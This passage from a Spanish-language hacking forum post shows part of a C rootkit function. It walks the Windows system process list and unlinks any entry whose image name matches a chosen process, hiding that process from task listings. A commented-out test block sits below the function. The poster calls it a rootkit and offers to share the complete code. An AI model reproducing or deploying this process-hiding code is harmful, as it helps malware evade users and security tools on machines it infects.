  40. {
  41. _SYSTEM_PROCESS_INFORMATION * Viejospi = spi;
  42. spi = (_SYSTEM_PROCESS_INFORMATION*)((LPBYTE)spi+spi->NextEntryOffset);
  43.  
  44. if (lstrcmpW((LPCWSTR)spi->ImageName,(LPCWSTR)proceso) == 0)
  45. {
  46. Viejospi->NextEntryOffset += (DWORD)spi->NextEntryOffset;
  47. }else{
  48. spi = Viejospi;
  49. spi = (_SYSTEM_PROCESS_INFORMATION*)((LPBYTE)spi+spi->NextEntryOffset);
  50. }        
  51. }
  52.  
  53. /*spi = Intacta;
  54. while(spi->NextEntryOffset) // Comprobamos que muestra todos los procemos menos el que ocultamos ;P
  55.     {
  56.         MessageBoxW(0, (LPCWSTR) spi->ImageName, 0, 0);
  57.         spi=(_SYSTEM_PROCESS_INFORMATION*)((LPBYTE)spi+spi->NextEntryOffset);
  58.     }*/
  59.  
  60. return 0;
  61. }

Sí teneis alguna duda o queréis que ponga el código completo del rootkit avisar, aunque perdería la gracia.

saludos.
Páginas: [1] 2 3 4 5 6 7 8
Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines